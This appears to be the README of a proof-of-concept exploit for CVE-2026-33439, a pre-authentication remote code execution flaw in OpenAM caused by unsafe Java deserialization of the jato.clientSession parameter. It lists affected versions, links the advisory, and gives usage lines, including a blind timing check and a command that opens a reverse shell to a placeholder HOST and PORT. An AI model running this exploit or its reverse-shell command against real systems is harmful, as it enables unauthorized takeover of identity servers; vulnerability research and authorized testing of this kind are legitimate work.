
PoC for CVE-2026-33439, a pre-auth RCE in OpenAM via unsafe Java deserialization.
Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the
jato.clientSession parameter. Affected <= 16.0.5, fixed in 16.0.6.
Advisory: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
Output is blind. The request blocks until the command exits, so timing confirms
execution (--command 'sleep 5' takes about 5s).
For authorized security testing only.